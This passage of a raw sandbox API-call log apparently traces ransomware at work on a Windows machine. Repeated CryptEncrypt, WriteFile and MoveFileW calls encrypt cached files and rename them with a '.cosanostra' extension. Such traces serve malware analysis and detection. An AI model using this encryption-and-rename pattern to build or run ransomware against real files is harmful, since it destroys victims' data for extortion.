lpNewFilePointer=0xffffffff) returned 1 [0102.246] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x1b2, lpNumberOfBytesWritten=0x251f05c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f05c*=0x1b2, lpOverlapped=0x0) returned 1 [0102.246] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.246] WriteFile (in: hFile=0x15c, lpBuffer=0x251f09c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f05c, lpOverlapped=0x0 | out: lpBuffer=0x251f09c*, lpNumberOfBytesWritten=0x251f05c*=0x4, lpOverlapped=0x0) returned 1 [0102.246] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f05c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f05c*=0x30, lpOverlapped=0x0) returned 1 [0102.246] CloseHandle (hObject=0x15c) returned 1 [0102.247] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6.cosanostra") returned 163 [0102.247] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7423f88c7f265f0defc08ea88c3bde45_d975bba8033175c8d112023d8a7a8ad6"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7423f88c7f265f0defc08ea88c3bde45_d975bba8033175c8d112023d8a7a8ad6.cosanostra")) returned 1 [0102.248] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0a0 | out: pbBuffer=0x251f0a0) returned 1 [0102.248] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f098*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f098*=0x30) returned 1 [0102.248] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7396c420a8e1bc1da97f1af0d10bad21"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.285] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned 119 [0102.285] StrStrW (lpFirst="7396C420A8E1BC1DA97F1AF0D10BAD21", lpSrch=".txt") returned 0x0 [0102.286] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffff00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.286] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x251f05c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f05c*=0x100, lpOverlapped=0x0) returned 1 [0102.286] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.286] WriteFile (in: hFile=0x15c, lpBuffer=0x251f09c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f05c, lpOverlapped=0x0 | out: lpBuffer=0x251f09c*, lpNumberOfBytesWritten=0x251f05c*=0x4, lpOverlapped=0x0) returned 1 [0102.286] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f05c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f05c*=0x30, lpOverlapped=0x0) returned 1 [0102.286] CloseHandle (hObject=0x15c) returned 1 [0102.287] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21.cosanostra") returned 130 [0102.287] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7396c420a8e1bc1da97f1af0d10bad21"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7396c420a8e1bc1da97f1af0d10bad21.cosanostra")) returned 1 [0102.287] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f098 | out: pbBuffer=0x251f098) returned 1 [0102.288] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f090*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f090*=0x30) returned 1 [0102.288] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\40e450f7ce13419a2ccc2a5445035a0a_06f02b1f13ab4b11b8fc669bde565af1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.289] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 152 [0102.289] StrStrW (lpFirst="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpSrch=".txt") returned 0x0 [0102.289] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.289] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x251f054, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f054*=0x190, lpOverlapped=0x0) returned 1 [0102.290] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.290] WriteFile (in: hFile=0x15c, lpBuffer=0x251f094*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f054, lpOverlapped=0x0 | out: lpBuffer=0x251f094*, lpNumberOfBytesWritten=0x251f054*=0x4, lpOverlapped=0x0) returned 1 [0102.290] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f054, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f054*=0x30, lpOverlapped=0x0) returned 1 [0102.290] CloseHandle (hObject=0x15c) returned 1 [0102.290] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1.cosanostra") returned 163 [0102.290] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\40e450f7ce13419a2ccc2a5445035a0a_06f02b1f13ab4b11b8fc669bde565af1"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\40e450f7ce13419a2ccc2a5445035a0a_06f02b1f13ab4b11b8fc669bde565af1.cosanostra")) returned 1 [0102.291] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f098 | out: pbBuffer=0x251f098) returned 1 [0102.291] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f090*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f090*=0x30) returned 1 [0102.291] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\3388ecc3f7bc4a9271c10ed8621e5a65_f55c512047947b70f94de5dec6d6838d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.292] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 152 [0102.292] StrStrW (lpFirst="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpSrch=".txt") returned 0x0 [0102.293] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe76, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.293] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x18a, lpNumberOfBytesWritten=0x251f054, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f054*=0x18a, lpOverlapped=0x0) returned 1 [0102.293] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.293] WriteFile (in: hFile=0x15c, lpBuffer=0x251f094*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f054, lpOverlapped=0x0 | out: lpBuffer=0x251f094*, lpNumberOfBytesWritten=0x251f054*=0x4, lpOverlapped=0x0) returned 1 [0102.293] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f054, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f054*=0x30, lpOverlapped=0x0) returned 1 [0102.293] CloseHandle (hObject=0x15c) returned 1 [0102.295] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D.cosanostra") returned 163 [0102.295] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\3388ecc3f7bc4a9271c10ed8621e5a65_f55c512047947b70f94de5dec6d6838d"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\3388ecc3f7bc4a9271c10ed8621e5a65_f55c512047947b70f94de5dec6d6838d.cosanostra")) returned 1 [0102.297] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f090 | out: pbBuffer=0x251f090) returned 1 [0102.297] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f088*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f088*=0x30) returned 1 [0102.297] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\3130b1871a126520a8c47861efe3ed4d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.298] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned 119 [0102.298] StrStrW (lpFirst="3130B1871A126520A8C47861EFE3ED4D", lpSrch=".txt") returned 0x0 [0102.299] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffff24, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.299] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xdc, lpNumberOfBytesWritten=0x251f04c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f04c*=0xdc, lpOverlapped=0x0) returned 1 [0102.299] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.299] WriteFile (in: hFile=0x15c, lpBuffer=0x251f08c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f04c, lpOverlapped=0x0 | out: lpBuffer=0x251f08c*, lpNumberOfBytesWritten=0x251f04c*=0x4, lpOverlapped=0x0) returned 1 [0102.299] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f04c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f04c*=0x30, lpOverlapped=0x0) returned 1 [0102.300] CloseHandle (hObject=0x15c) returned 1 [0102.300] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D.cosanostra") returned 130 [0102.300] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\3130b1871a126520a8c47861efe3ed4d"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\3130b1871a126520a8c47861efe3ed4d.cosanostra")) returned 1 [0102.301] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f090 | out: pbBuffer=0x251f090) returned 1 [0102.301] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f088*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f088*=0x30) returned 1 [0102.301] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\23b523c9e7746f715d33c6527c18eb9d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.301] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned 119 [0102.301] StrStrW (lpFirst="23B523C9E7746F715D33C6527C18EB9D", lpSrch=".txt") returned 0x0 [0102.302] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffedc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.302] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x251f04c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f04c*=0x124, lpOverlapped=0x0) returned 1 [0102.302] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.302] WriteFile (in: hFile=0x15c, lpBuffer=0x251f08c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f04c, lpOverlapped=0x0 | out: lpBuffer=0x251f08c*, lpNumberOfBytesWritten=0x251f04c*=0x4, lpOverlapped=0x0) returned 1 [0102.302] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f04c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f04c*=0x30, lpOverlapped=0x0) returned 1 [0102.302] CloseHandle (hObject=0x15c) returned 1 [0102.303] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D.cosanostra") returned 130 [0102.303] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\23b523c9e7746f715d33c6527c18eb9d"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\23b523c9e7746f715d33c6527c18eb9d.cosanostra")) returned 1 [0102.366] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f088 | out: pbBuffer=0x251f088) returned 1 [0102.366] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f080*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f080*=0x30) returned 1 [0102.366] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\ea618097e393409afa316f0f87e2c202_827c1b837652b048c4c84237d0838585"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.367] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned 151 [0102.367] StrStrW (lpFirst="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpSrch=".txt") returned 0x0 [0102.421] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffff9b5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.421] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x64b, lpNumberOfBytesWritten=0x251f044, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f044*=0x64b, lpOverlapped=0x0) returned 1 [0102.421] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.421] WriteFile (in: hFile=0x160, lpBuffer=0x251f084*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f044, lpOverlapped=0x0 | out: lpBuffer=0x251f084*, lpNumberOfBytesWritten=0x251f044*=0x4, lpOverlapped=0x0) returned 1 [0102.421] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f044, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f044*=0x30, lpOverlapped=0x0) returned 1 [0102.421] CloseHandle (hObject=0x160) returned 1 [0102.422] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585.cosanostra") returned 162 [0102.422] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\ea618097e393409afa316f0f87e2c202_827c1b837652b048c4c84237d0838585"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\ea618097e393409afa316f0f87e2c202_827c1b837652b048c4c84237d0838585.cosanostra")) returned 1 [0102.422] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f088 | out: pbBuffer=0x251f088) returned 1 [0102.423] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f080*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f080*=0x30) returned 1 [0102.423] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d47dbd2f9e3365fbbe008d71fb06716f_4dd1053bcc726da41115fff4c7d6e9cc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0102.423] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned 151 [0102.423] StrStrW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", lpSrch=".txt") returned 0x0 [0102.432] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffa52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.432] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x5ae, lpNumberOfBytesWritten=0x251f044, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f044*=0x5ae, lpOverlapped=0x0) returned 1 [0102.432] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.433] WriteFile (in: hFile=0x160, lpBuffer=0x251f084*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f044, lpOverlapped=0x0 | out: lpBuffer=0x251f084*, lpNumberOfBytesWritten=0x251f044*=0x4, lpOverlapped=0x0) returned 1 [0102.433] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f044, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f044*=0x30, lpOverlapped=0x0) returned 1 [0102.433] CloseHandle (hObject=0x160) returned 1 [0102.433] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC.cosanostra") returned 162 [0102.433] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS 